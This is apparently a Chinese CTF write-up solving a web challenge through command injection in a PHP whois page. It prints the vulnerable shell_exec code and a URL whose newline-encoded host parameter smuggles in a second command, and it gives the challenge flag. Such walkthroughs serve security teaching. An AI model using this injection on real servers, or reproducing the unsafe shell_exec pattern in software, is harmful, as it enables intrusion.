目录
前置知识
网络安全-绕过技巧(WAF、白名单、黑名单)总结-CSDN博客
解题过程
打开靶场

类似请求查询外网某个服务的一个界面,第一时间想到SSRF,后续抓包也看到了host和query的参数,但是尝试发现SSRF并不行
ctrl+U 查看源码可以发现 query.php,访问得到
<?php
error_reporting(0);
$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";
if (isset($_GET['query']) && isset($_GET['host']) &&
is_string($_GET['query']) && is_string($_GET['host'])) {
$query = $_GET['query'];
$host = $_GET['host'];
if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
$output = "Invalid query or whois host";
} else {
$output = shell_exec("/usr/bin/whois -h ${host} ${query}");
}
}
发现两个参数并没有进行什么过滤,只是确保两个参数是字符串等等,关键点在于
$output = shell_exec("/usr/bin/whois -h ${host} ${query}");
很明显目标是利用shell_exec进行RCE
/usr/bin/whois明显是Linux系统,可以用换行符,达到执行两条命令的效果,
这里需要采用URL编码才能正常解析换行符,%0a
下面用ls看下当前目录下文件
/query.php?host=whois.verisign-grs.com%0a&query=ls

可以看到有以下文件可疑
thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
先尝试直接访问

成功获取flag
shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}
总结
基础的Linux RCE 绕过